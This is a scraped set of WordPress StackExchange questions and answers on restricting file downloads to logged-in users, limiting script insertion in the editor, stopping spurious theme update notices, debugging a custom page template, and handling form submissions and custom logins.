http://website.com/login/\n</code></pre>\n\n<p>place .htaccess file in folder you want to protect from non registered users and it will do the job, last line is redirect.</p>\n\n<p>So, if you want to protect file access over anchor link, from specific folder (uploads/media) make .htaccess file inside folder and paste this code.\nIf you want just <code>403</code>(forbiden) change <code>RewriteRule (.*) http://website.com/login/</code> with <code>[R=403,L]</code></p>\n" }, { "answer_id": 285312, "author": "Wilco", "author_id": 102737, "author_profile": "https://wordpress.stackexchange.com/users/102737", "pm_score": 1, "selected": false, "text": "<p>I recently wanted the same, except I wanted to secure invoices only.</p>\n\n<p>I put this above the WordPress part of the .htaccess </p>\n\n<pre><code>&lt;ifmodule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteCond %{REQUEST_URI} ^.*wp-content/uploads/invoices/.*\nRewriteRule ^wp-content/uploads/(invoices/.*)$ read-file.php?file=$1 [QSA,L]\n&lt;/ifmodule&gt;\n</code></pre>\n\n<p>This redirect everyone that wants to go to a file in the invoices directory to read-file.php wich is located right in the toplevel of WordPress as well.\nread-file.php has the following code to check if the user is logged in</p>\n\n<pre><code>&lt;?php\n// Load wp\nrequire_once('wp-load.php');\n\n// If user is logged in\nif( ! is_user_logged_in() ) {\n\n // Redirect to home\n wp_redirect( url to your login page );\n exit;\n}\n\n// Additional checks here\n// Headers to open or download the file\n// readfile( $file );\n// exit;\n</code></pre>\n\n<p>Hope it helps!</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285296", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/121777/" ]
can you help me with little problem. I need to find a solution, how to redirect user to login page when he wants to download file over link in post content, so, I have some files and I want them to be available only for users that are logged in, otherwise they should be redirected on login page, for example I want to forbid access (download) for all files from wp-content folder, keep in mind that I have several of those folders in the root, I tried with `.htaccess` file file but its not working ``` RewriteEngine On RewriteCond %{HTTP_REFERER} !^http://(www\.)?brt\.keezst\.com/ [NC] RewriteCond %{REQUEST_URI} !hotlink\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov) [NC] RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule .*\.(gif|png|jpg|doc|xls|pdf|html|htm|xlsx|docx|mp4|mov)$ http://brt.keezst.com/ [NC] ```
Thanks to [Marcelo Henriques](https://wordpress.stackexchange.com/users/44437/marcelo-henriques-cortez) answer i figured out how to make this work with `.htaccess` file and here is the code: ``` RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} ^.*(mp3|m4a|pdf|doc|xlsx|docx|xls)$ RewriteCond %{HTTP_COOKIE} !^.*wordpress_logged_in.*$ [NC] RewriteRule (.*) http://website.com/login/ ``` place .htaccess file in folder you want to protect from non registered users and it will do the job, last line is redirect. So, if you want to protect file access over anchor link, from specific folder (uploads/media) make .htaccess file inside folder and paste this code. If you want just `403`(forbiden) change `RewriteRule (.*) http://website.com/login/` with `[R=403,L]`
285,333
<p>I am trying to prevent from Cross Site Scripting vulnerabilities. For that I have to make sure that it is not possible to insert JavaScript code directly via the editing functionality on Text editor. I want to be able to add only HTML and CSS content on text editor. have you an idea how to disable javascript code insertion in the wordpress text editor? Thanks.</p>
[ { "answer_id": 285340, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>Hook into <code>wp_insert_post_data</code> to either filter out <code>&lt;script&gt;</code> content or simply give out error on saving. </p>\n\n<p><a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_insert_post_data\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Plugin_API/Filter_Reference/wp_insert_post_data</a></p>\n" }, { "answer_id": 285363, "author": "J.D.", "author_id": 27757, "author_profile": "https://wordpress.stackexchange.com/users/27757", "pm_score": 2, "selected": false, "text": "<p>WordPress already disallows the use of JavaScript in the editor for users without the <code>unfiltered_html</code> capability. By default, <a href=\"https://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table\" rel=\"nofollow noreferrer\">only the Administrator and Editor roles</a> have this capability. If necessary, you could remove this capability from Editor users as well. (It doesn't make sense to remove it from Administrators, because they will still have the ability to install plugins, and thus execute whatever kind of code they want to.)</p>\n\n<p>This code should do that for you:</p>\n\n<pre><code>function wpse_285333_remove_unfiltered_html_cap() {\n $wp_roles = wp_roles();\n $wp_roles-&gt;remove_cap( 'editor', 'unfiltered_html' );\n}\n\n// This function actually only needs to run once, so you can comment this out\n// after loading the site once.\nadd_action( 'init', 'wpse_285333_remove_unfiltered_html_cap', 5 );\n</code></pre>\n\n<p>There are also plugins available to help with managing roles and capabilities.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285333", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/119785/" ]
I am trying to prevent from Cross Site Scripting vulnerabilities. For that I have to make sure that it is not possible to insert JavaScript code directly via the editing functionality on Text editor. I want to be able to add only HTML and CSS content on text editor. have you an idea how to disable javascript code insertion in the wordpress text editor? Thanks.
WordPress already disallows the use of JavaScript in the editor for users without the `unfiltered_html` capability. By default, [only the Administrator and Editor roles](https://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table) have this capability. If necessary, you could remove this capability from Editor users as well. (It doesn't make sense to remove it from Administrators, because they will still have the ability to install plugins, and thus execute whatever kind of code they want to.) This code should do that for you: ``` function wpse_285333_remove_unfiltered_html_cap() { $wp_roles = wp_roles(); $wp_roles->remove_cap( 'editor', 'unfiltered_html' ); } // This function actually only needs to run once, so you can comment this out // after loading the site once. add_action( 'init', 'wpse_285333_remove_unfiltered_html_cap', 5 ); ``` There are also plugins available to help with managing roles and capabilities.
285,334
<p>We have a totally custom theme that we have built in house, recently the WordPress updater has started saying the theme is out of date. </p> <p><a href="https://i.stack.imgur.com/e3FvV.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/e3FvV.png" alt="Update suggestion"></a></p> <p>When I investigated this supposed update it links me to a similarly named theme in the WordPress theme directory but one that is not developed by us.</p> <p><a href="https://i.stack.imgur.com/Gu040.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Gu040.png" alt="Theme"></a></p> <p>We normally update our themes manually either through the filesystem or FTP. We have never submitted our theme to the WordPress directory nor do we have a mechanism or infrastructure to allow our themes to "phone home" to check for updates.</p> <p>What is going on here? How do I stop it misreporting the theme update? I really want to stop this behaviour to prevent an over eager customer trying to update the theme to this one and breaking their site.</p>
[ { "answer_id": 285341, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 1, "selected": false, "text": "<p>WordPress infrastructure and default core code assumptions are really <em>really</em> unfriendly to private bespoke plugins and themes in this regard.</p>\n\n<p>While \"rename folder\" is a common advice, it doesn't <em>guarantee</em> anything. First, the exact matching algorithm is private. Second, well, what if it matches with a <em>different</em> theme at a later time again?</p>\n\n<p>The only reliable approach is to explicitly exclude your extensions from WP update checks with code. Which WP core by the way makes incredibly inconvenient to do.</p>\n\n<p>Personally I got sick of this problem and eventually wrote small <a href=\"https://github.com/Rarst/update-blocker\" rel=\"nofollow noreferrer\">Update Blocker</a> plugin to stop reinventing that wheel.</p>\n" }, { "answer_id": 285346, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 2, "selected": true, "text": "<p>When it comes to developing your own stuff, it is always the best to make the code yours too, not just the copyright and such.</p>\n\n<p>As @Rarst already pointed out, the first thing to check if the theme's folder. I faced the same issue before and changing the theme's folder fixed the issue for me.</p>\n\n<p>But for future goods, you should start prefixing your code. It means that you should prefix your theme's name, functions, classes, etc ... by your or your company's name. It's less likely if someone ever will publish a theme named <code>burgi-professional</code>, but a general name such as <code>professional</code> may exist anytime.</p>\n\n<p>This also applies to class names and functions to. Prefix your functions like this:</p>\n\n<pre><code>function burgi_get_theme_options( ){ ... }\n</code></pre>\n\n<p>So there is a lower chance of running into such issues. Same goes for CSS classes, and HTML ID attributes. </p>\n" }, { "answer_id": 285384, "author": "Michael Moriarty", "author_id": 98927, "author_profile": "https://wordpress.stackexchange.com/users/98927", "pm_score": 0, "selected": false, "text": "<p>I was having that problem with a theme I was using and all I had to do was change the version to a reverse date such as 2017-11-08, and it never bothered me again. I did the same thing with any plugins I did not want WordPress to try to update.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285334", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/62753/" ]
We have a totally custom theme that we have built in house, recently the WordPress updater has started saying the theme is out of date. [![Update suggestion](https://i.stack.imgur.com/e3FvV.png)](https://i.stack.imgur.com/e3FvV.png) When I investigated this supposed update it links me to a similarly named theme in the WordPress theme directory but one that is not developed by us. [![Theme](https://i.stack.imgur.com/Gu040.png)](https://i.stack.imgur.com/Gu040.png) We normally update our themes manually either through the filesystem or FTP. We have never submitted our theme to the WordPress directory nor do we have a mechanism or infrastructure to allow our themes to "phone home" to check for updates. What is going on here? How do I stop it misreporting the theme update? I really want to stop this behaviour to prevent an over eager customer trying to update the theme to this one and breaking their site.
When it comes to developing your own stuff, it is always the best to make the code yours too, not just the copyright and such. As @Rarst already pointed out, the first thing to check if the theme's folder. I faced the same issue before and changing the theme's folder fixed the issue for me. But for future goods, you should start prefixing your code. It means that you should prefix your theme's name, functions, classes, etc ... by your or your company's name. It's less likely if someone ever will publish a theme named `burgi-professional`, but a general name such as `professional` may exist anytime. This also applies to class names and functions to. Prefix your functions like this: ``` function burgi_get_theme_options( ){ ... } ``` So there is a lower chance of running into such issues. Same goes for CSS classes, and HTML ID attributes.
285,350
<p>I'm currently working on creating my own templates with custom content to my wordpress site.</p> <p>But I'm now struggling with getting the get_header(); function to work? </p> <p>THIS IS WHAT I'M CALLING </p> <pre><code>&lt;?php /** * Template Name: Register fangst * * @package WordPress * @subpackage Salient * @since Salient-child */ get_header(); ?&gt; &lt;?php if ( ! is_user_logged_in() ) { ?&gt; &lt;h3&gt;DU er ikke logget ind&lt;/h3&gt; &lt;h4&gt;så du kan ikke registre nogle registreringer&lt;/h4&gt; &lt;a href="riverfisher/login"&gt;login her&lt;/a&gt; &lt;?php } else { ?&gt; &lt;div class="wrapper"&gt; &lt;?php global $wpdb; require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); if ( isset( $_POST['submit'] ) ){ $current_user = wp_get_current_user(); $time = trim ( $_POST['dato'] ); $attachment_id = media_handle_upload( 'file-upload', $_POST['billedeURL'] ); $attachment_url = wp_get_attachment_url($attachment_id); $fiske_vaegt = $_POST['fiske_vaegt']; $fiske_laengde = trim( $_POST['fiske_laengde'] ); $redskabsID = absint( $_POST['reg_redskabs_id'] ); $koenID = absint( $_POST['reg_koen_id'] ); $fiskID = absint( $_POST['reg_fisk_id'] ); $crID = absint( $_POST['reg_cr_id'] ); $laksID = absint( $_POST['reg_laks_id'] ); $registrering = $wpdb-&gt;insert( $wpdb-&gt;prefix . 'registreringer', array( 'reg_id' =&gt; '', 'dato' =&gt; $time, 'billedeURL' =&gt; $attachment_url, 'fiske_vaegt' =&gt; $fiske_vaegt, 'fiske_laengde' =&gt; $fiske_laengde, 'reg_user_id' =&gt; $current_user-&gt;ID, 'reg_redskabs_id' =&gt; $redskabsID, 'reg_koen_id' =&gt; $koenID, 'reg_fisk_id' =&gt; $fiskID, 'reg_cr_id' =&gt; $crID, 'reg_laks_id' =&gt; $laksID ), array( '%d', '%s', '%s', '%f', '%d', '%d', '%d', '%d', '%d', '%d', '%d' ) ); } ?&gt; &lt;form method="post" enctype="multipart/form-data"&gt; &lt;h3&gt;Registering af din fangst&lt;/h3&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;længden&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="number" name="fiske_laengde" id="fiske_laengde" /&gt;cm&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;vægten&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="number" step="any" placeholder="vægt i kg f.eks. 12.3" name="fiske_vaegt" id="fiske_vaegt" /&gt;kg&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg billede:&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="file" name="file-upload" id="file-upload"&gt;&lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;dato&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;p&gt;&lt;input type="date" name="dato" value=" &lt;?php $time = new DateTime; echo $time-&gt;format("d-m-Y"); ?&gt;"/&gt; &lt;/p&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Fangst udstyr&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $redskab = $wpdb-&gt;get_results( "SELECT * FROM `wp_redskaber`" ); foreach ( $redskab as $redskaber ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_redskabs_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $redskaber-&gt;redskabs_id), $redskaber-&gt;redskabs_navn ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg fiskeart&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $fisk = $wpdb-&gt;get_results( "SELECT * FROM `wp_fiskearter`" ); foreach ( $fisk as $valgfisk ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_fisk_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgfisk-&gt;fisk_id), $valgfisk-&gt;fiske_navn ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Hvilket køn har fisken&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $koen = $wpdb-&gt;get_results( "SELECT * FROM `wp_koen`" ); foreach ( $koen as $valgkoen ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_koen_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgkoen-&gt;koen_id), $valgkoen-&gt;koen ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Catch / release&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;?php $cr = $wpdb-&gt;get_results( "SELECT * FROM `wp_cr`" ); foreach ( $cr as $valgcr ) { echo sprintf( '&lt;label&gt;&lt;input type="radio" name="reg_cr_id" value="%s"&gt; %s&lt;/label&gt;&lt;br&gt;', esc_attr( $valgcr-&gt;cr_id), $valgcr-&gt;cr_type ); } ?&gt; &lt;p&gt;&lt;label&gt;&lt;strong&gt;Vælg en lakseplads&lt;/strong&gt;&lt;/label&gt;&lt;/p&gt; &lt;select name="reg_laks_id"&gt; &lt;option disabled selected value&gt; -- Vælg en lakseplads -- &lt;/option&gt; &lt;?php $lakseplads = $wpdb-&gt;get_results( "SELECT * FROM `wp_laksepladser`" ); foreach ( $lakseplads as $valgplads ) { echo sprintf( '&lt;option value="%s"&gt; %s&lt;/option&gt;', esc_attr( $valgplads-&gt;laksepladser_id), $valgplads-&gt;laksepladser_navn ); } ?&gt; &lt;/select&gt;&lt;br&gt; &lt;button type="submit" name="btnregister" class="button" &gt;Submit&lt;/button&gt; &lt;input type="hidden" name="submit" value="submit" /&gt; &lt;?php } echo "&lt;pre&gt;"; var_dump($_POST); exit; ?&gt; &lt;/form&gt; &lt;/div&gt; &lt;?php get_footer();?&gt; </code></pre> <p>As you can see it seems like something is going on but the little AJAX loading icon just keeps spinning for me ? <a href="https://i.stack.imgur.com/gLeiF.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gLeiF.png" alt="Screenshot"></a></p> <p>Do you need to know anymore information to help me with this ?</p> <p>EDIT:</p> <p>page.php looks like this:</p> <pre><code>&lt;?php get_header(); nectar_page_header($post-&gt;ID); //full page $fp_options = nectar_get_full_page_options(); extract($fp_options); ?&gt; &lt;?php get_footer(); ?&gt; </code></pre>
[ { "answer_id": 285352, "author": "ghoul", "author_id": 131136, "author_profile": "https://wordpress.stackexchange.com/users/131136", "pm_score": 1, "selected": false, "text": "<p>First turn on debuggin by dropping the following code in your wp-config.php file </p>\n\n<pre><code>define( 'WP_DEBUG', true );\ndefine( 'WP_DEBUG_DISPLAY', true );\n</code></pre>\n\n<p>and see if any errors or warning do get displayed. </p>\n\n<p>Moreover it is a good practice to not close the php tag at he end of the file. Try that too.</p>\n" }, { "answer_id": 285358, "author": "Yojance", "author_id": 57765, "author_profile": "https://wordpress.stackexchange.com/users/57765", "pm_score": 1, "selected": true, "text": "<p>If you remove the exit; call on line 176, does it load? It seems that the footer.php file will never be loaded because you are exiting before reaching that file.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285350", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/129518/" ]
I'm currently working on creating my own templates with custom content to my wordpress site. But I'm now struggling with getting the get\_header(); function to work? THIS IS WHAT I'M CALLING ``` <?php /** * Template Name: Register fangst * * @package WordPress * @subpackage Salient * @since Salient-child */ get_header(); ?> <?php if ( ! is_user_logged_in() ) { ?> <h3>DU er ikke logget ind</h3> <h4>så du kan ikke registre nogle registreringer</h4> <a href="riverfisher/login">login her</a> <?php } else { ?> <div class="wrapper"> <?php global $wpdb; require_once(ABSPATH . "wp-admin" . '/includes/image.php'); require_once(ABSPATH . "wp-admin" . '/includes/file.php'); require_once(ABSPATH . "wp-admin" . '/includes/media.php'); if ( isset( $_POST['submit'] ) ){ $current_user = wp_get_current_user(); $time = trim ( $_POST['dato'] ); $attachment_id = media_handle_upload( 'file-upload', $_POST['billedeURL'] ); $attachment_url = wp_get_attachment_url($attachment_id); $fiske_vaegt = $_POST['fiske_vaegt']; $fiske_laengde = trim( $_POST['fiske_laengde'] ); $redskabsID = absint( $_POST['reg_redskabs_id'] ); $koenID = absint( $_POST['reg_koen_id'] ); $fiskID = absint( $_POST['reg_fisk_id'] ); $crID = absint( $_POST['reg_cr_id'] ); $laksID = absint( $_POST['reg_laks_id'] ); $registrering = $wpdb->insert( $wpdb->prefix . 'registreringer', array( 'reg_id' => '', 'dato' => $time, 'billedeURL' => $attachment_url, 'fiske_vaegt' => $fiske_vaegt, 'fiske_laengde' => $fiske_laengde, 'reg_user_id' => $current_user->ID, 'reg_redskabs_id' => $redskabsID, 'reg_koen_id' => $koenID, 'reg_fisk_id' => $fiskID, 'reg_cr_id' => $crID, 'reg_laks_id' => $laksID ), array( '%d', '%s', '%s', '%f', '%d', '%d', '%d', '%d', '%d', '%d', '%d' ) ); } ?> <form method="post" enctype="multipart/form-data"> <h3>Registering af din fangst</h3> <p><label><strong>længden</strong></label></p> <p><input type="number" name="fiske_laengde" id="fiske_laengde" />cm</p> <p><label><strong>vægten</strong></label></p> <p><input type="number" step="any" placeholder="vægt i kg f.eks. 12.3" name="fiske_vaegt" id="fiske_vaegt" />kg</p> <p><label><strong>Vælg billede:</strong></label></p> <p><input type="file" name="file-upload" id="file-upload"></p> <p><label><strong>dato</strong></label></p> <p><input type="date" name="dato" value=" <?php $time = new DateTime; echo $time->format("d-m-Y"); ?>"/> </p> <p><label><strong>Fangst udstyr</strong></label></p> <?php $redskab = $wpdb->get_results( "SELECT * FROM `wp_redskaber`" ); foreach ( $redskab as $redskaber ) { echo sprintf( '<label><input type="radio" name="reg_redskabs_id" value="%s"> %s</label><br>', esc_attr( $redskaber->redskabs_id), $redskaber->redskabs_navn ); } ?> <p><label><strong>Vælg fiskeart</strong></label></p> <?php $fisk = $wpdb->get_results( "SELECT * FROM `wp_fiskearter`" ); foreach ( $fisk as $valgfisk ) { echo sprintf( '<label><input type="radio" name="reg_fisk_id" value="%s"> %s</label><br>', esc_attr( $valgfisk->fisk_id), $valgfisk->fiske_navn ); } ?> <p><label><strong>Hvilket køn har fisken</strong></label></p> <?php $koen = $wpdb->get_results( "SELECT * FROM `wp_koen`" ); foreach ( $koen as $valgkoen ) { echo sprintf( '<label><input type="radio" name="reg_koen_id" value="%s"> %s</label><br>', esc_attr( $valgkoen->koen_id), $valgkoen->koen ); } ?> <p><label><strong>Catch / release</strong></label></p> <?php $cr = $wpdb->get_results( "SELECT * FROM `wp_cr`" ); foreach ( $cr as $valgcr ) { echo sprintf( '<label><input type="radio" name="reg_cr_id" value="%s"> %s</label><br>', esc_attr( $valgcr->cr_id), $valgcr->cr_type ); } ?> <p><label><strong>Vælg en lakseplads</strong></label></p> <select name="reg_laks_id"> <option disabled selected value> -- Vælg en lakseplads -- </option> <?php $lakseplads = $wpdb->get_results( "SELECT * FROM `wp_laksepladser`" ); foreach ( $lakseplads as $valgplads ) { echo sprintf( '<option value="%s"> %s</option>', esc_attr( $valgplads->laksepladser_id), $valgplads->laksepladser_navn ); } ?> </select><br> <button type="submit" name="btnregister" class="button" >Submit</button> <input type="hidden" name="submit" value="submit" /> <?php } echo "<pre>"; var_dump($_POST); exit; ?> </form> </div> <?php get_footer();?> ``` As you can see it seems like something is going on but the little AJAX loading icon just keeps spinning for me ? [![Screenshot](https://i.stack.imgur.com/gLeiF.png)](https://i.stack.imgur.com/gLeiF.png) Do you need to know anymore information to help me with this ? EDIT: page.php looks like this: ``` <?php get_header(); nectar_page_header($post->ID); //full page $fp_options = nectar_get_full_page_options(); extract($fp_options); ?> <?php get_footer(); ?> ```
If you remove the exit; call on line 176, does it load? It seems that the footer.php file will never be loaded because you are exiting before reaching that file.
285,353
<p>If I submit a form with an action of <code>/wp-admin/admin-post.php</code>, is there a way to return form errors to the originating page?</p> <p>My form has an input with the action set:</p> <pre><code>&lt;input name="action" value="enquiry_form" /&gt; </code></pre> <p>I have an actions setup to manage the validation:</p> <pre><code>add_action('admin_post_enquiry_form', 'mytheme_enquiry_form_submit'); </code></pre> <p>I can return to the original form page with a wp_redirect:</p> <pre><code>wp_redirect('/contact/'); </code></pre> <p>But how can I pass variables/ messages back to this page after redirecting?</p> <p>UPDATE: To add clarification, I was under the impression this was the "correct" way to handle form data, rather than simply adding an init hoot to check for a specific POST variable. There are countless tutorials where people use the admin-post.php action, for example:</p> <p><a href="https://premium.wpmudev.org/blog/handling-form-submissions/" rel="nofollow noreferrer">WPMUDEV Handling Form Submissions</a></p> <p><a href="http://www.adaptiveweb.com.au/handle-post-and-get-requests-in-wordpress-using-admin-post-php/" rel="nofollow noreferrer">AdaptiveWeb Handle POST and GET requests in WordPress</a></p> <p><a href="https://www.sitepoint.com/handling-post-requests-the-wordpress-way/" rel="nofollow noreferrer">SitePoint Handling POST Requests the WordPress Way</a></p>
[ { "answer_id": 309931, "author": "Radovan Bezak", "author_id": 38435, "author_profile": "https://wordpress.stackexchange.com/users/38435", "pm_score": 1, "selected": false, "text": "<p>You can send GET variables in the URL using wp_redirect.\nFor example:</p>\n\n<pre><code>wp_redirect( home_url() .'/form?result=error&amp;reason=3');\n</code></pre>\n\n<p>As far as I know, yes, <code>admin-post</code> is the best-practices way to handle POST data in WordPress.</p>\n" }, { "answer_id": 405039, "author": "ban-geoengineering", "author_id": 44498, "author_profile": "https://wordpress.stackexchange.com/users/44498", "pm_score": 0, "selected": false, "text": "<p>Rather than stuffing all the validation error descriptions in the URL, you could use <a href=\"https://developer.wordpress.org/apis/handbook/transients/\" rel=\"nofollow noreferrer\">Transients</a> (very easy to use). Then, in your redirect URL you could just add a <code>transientRef={whatever}</code> parameter.</p>\n<p>I am using Transients to store a <code>WP_Error</code> object that holds the validation error descriptions.</p>\n<p>Makes for a much cleaner solution.</p>\n" } ]
2017/11/08
[ "https://wordpress.stackexchange.com/questions/285353", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48962/" ]
If I submit a form with an action of `/wp-admin/admin-post.php`, is there a way to return form errors to the originating page? My form has an input with the action set: ``` <input name="action" value="enquiry_form" /> ``` I have an actions setup to manage the validation: ``` add_action('admin_post_enquiry_form', 'mytheme_enquiry_form_submit'); ``` I can return to the original form page with a wp\_redirect: ``` wp_redirect('/contact/'); ``` But how can I pass variables/ messages back to this page after redirecting? UPDATE: To add clarification, I was under the impression this was the "correct" way to handle form data, rather than simply adding an init hoot to check for a specific POST variable. There are countless tutorials where people use the admin-post.php action, for example: [WPMUDEV Handling Form Submissions](https://premium.wpmudev.org/blog/handling-form-submissions/) [AdaptiveWeb Handle POST and GET requests in WordPress](http://www.adaptiveweb.com.au/handle-post-and-get-requests-in-wordpress-using-admin-post-php/) [SitePoint Handling POST Requests the WordPress Way](https://www.sitepoint.com/handling-post-requests-the-wordpress-way/)
You can send GET variables in the URL using wp\_redirect. For example: ``` wp_redirect( home_url() .'/form?result=error&reason=3'); ``` As far as I know, yes, `admin-post` is the best-practices way to handle POST data in WordPress.
285,359
<p>I am pretty new to all things Wordpress and seem to be really confused by what I have read.</p> <p>What I am doing is creating a plugin for a specific job and I need to simply change the menu once logged in. Now I am using DIVI 2 as a theme and I have this in the functions.php of the plugin:</p> <pre><code>function my_wp_nav_menu_args( $args = '' ) { if( is_user_logged_in() ) { $args['menu'] = 'UserMenu'; } else { $args['menu'] = 'MainMenu'; } return $args; } add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' ); </code></pre> <p>Which seems to make sense, but does not work and I am not sure if this is Divi2 or, as tested several times, the user is not logged in. It keeps coming back as false <code>is_user_logged_in()</code>.</p> <p>Here is the code I use for the custom login:</p> <pre><code>&lt;?php /** * Created by PhpStorm. * User: Andrew * Date: 08/11/2017 * Time: 11:21 */ global $wpdb; $userOK = -1; print_r(is_user_logged_in()); if(is_user_logged_in()) { //This does not action, ever! ?&gt; &lt;script&gt; window.location.href = "https://URL.uk/userhome/"; &lt;/script&gt; &lt;?php } if($_POST['wd_resendActivationButton'] === 'resend') { sendActivation($_POST['userid'], $_POST['useremail'],"2"); } if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user-&gt;get_error_message(); } else { if($user-&gt;user_status === "0") { wp_logout(); } else { ?&gt; &lt;script&gt; window.location.href = "https://url.uk/userhome/"; &lt;/script&gt; &lt;?php } } } </code></pre> <p>As I understood it, <code>wp_authenticate</code> also logged the user in, but it seems to not do that. So not sure where the issue lays. Could someone please point me into the correct direction?</p> <p><strong>UPDATE</strong></p> <p>Using the below code, it is clear the wp_authentication is failing, although it does give me the user object, it does not log the user in:</p> <pre><code> if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){ $userOK = 0; $user = wp_authenticate( $_POST['loginEmail'] , $_POST['loginPassword'] ); if(is_wp_error($user)) { echo $user-&gt;get_error_message(); } else { if($user-&gt;user_status === "0") { wp_logout(); } else { if(is_user_logged_in()) { ?&gt; &lt;script&gt; console.log('logged in'); window.location.href = "https://URL.uk/userhome/"; &lt;/script&gt; &lt;?php } else { ?&gt; &lt;script&gt; console.log('Not logged in'); window.location.href = "https://URL.uk/"; &lt;/script&gt; &lt;?php } } } } </code></pre> <p>Thanks</p> <p>Addy</p>
[ { "answer_id": 285366, "author": "BadAddy", "author_id": 131139, "author_profile": "https://wordpress.stackexchange.com/users/131139", "pm_score": 1, "selected": false, "text": "<p>I managed to figure out what was causing it. But I find it odd that there is such little information on it. Anyway i hope this may help others in the future:</p>\n\n<pre><code> if($_POST['loginEmail'] &amp;&amp; $_POST['loginPassword'] &amp;&amp; !$_POST['wd_resendActivationButton']){\n $userOK = 0;\n $user = wp_authenticate_username_password(NULL, $_POST['loginEmail'] , $_POST['loginPassword'] );\n wp_set_current_user($user-&gt;ID, $user-&gt;user_email);\n wp_set_auth_cookie($user-&gt;ID);\n do_action('wp_login', $user-&gt;user_email);\n if(is_wp_error($user)) {\n echo $user-&gt;get_error_message();\n } else {\n if($user-&gt;user_status === \"0\") {\n wp_logout();\n $userOK =1;\n } else {\n if(is_user_logged_in()) {\n $nonce = wp_create_nonce();\n function my_wp_nav_menu_args( $args = '' ) {\n if ( is_user_logged_in() ) {\n $args['menu'] = 'UserMenu';\n }\n return $args;\n }\n add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );\n ?&gt;\n &lt;script&gt;\n console.log('logged in');\n window.location.href = \"https://URL.uk/userhome?loggedin=true&amp;_wpnonce=&lt;?php echo $nonce; ?&gt;\";\n &lt;/script&gt;\n &lt;?php\n } else {\n ?&gt;\n &lt;script&gt;\n console.log('Not logged in');\n window.location.href = \"https://URL.uk/\";\n &lt;/script&gt;\n &lt;?php\n }\n }\n }\n}\n</code></pre>\n\n<p>I would only add that I am not sure if the filter function for the menu needs to be here, or if I can place this back in Functions.php and use use the:</p>\n\n<pre><code> add_filter( 'wp_nav_menu_args', 'my_wp_nav_menu_args' );\n</code></pre>\n\n<p>Not sure what is standard practice. But it works.</p>\n\n<p>Thanks.</p>\n" }, { "answer_id": 355821, "author": "gdfgdfg", "author_id": 152132, "author_profile": "https://wordpress.stackexchange.com/users/152132", "pm_score": 2, "selected": false, "text": "<p><code>wp_authenticate()</code> just checks user data, but not actually authenticating - <a href=\"https://developer.wordpress.org/reference/functions/wp_authenticate/\" rel=\"nofollow noreferrer\">docs</a>.</p>\n\n<p>You can use <code>wp_signon</code>, which uses and <code>wp_authenticate</code>: <a href=\"https://core.trac.wordpress.org/browser/tags/5.3/src/wp-includes/user.php#L33\" rel=\"nofollow noreferrer\">source</a>, like this:</p>\n\n<pre><code> $credentials = [\n 'user_login' =&gt; $name,\n 'user_password' =&gt; $password,\n 'rememberme' =&gt; true,\n ];\n\n 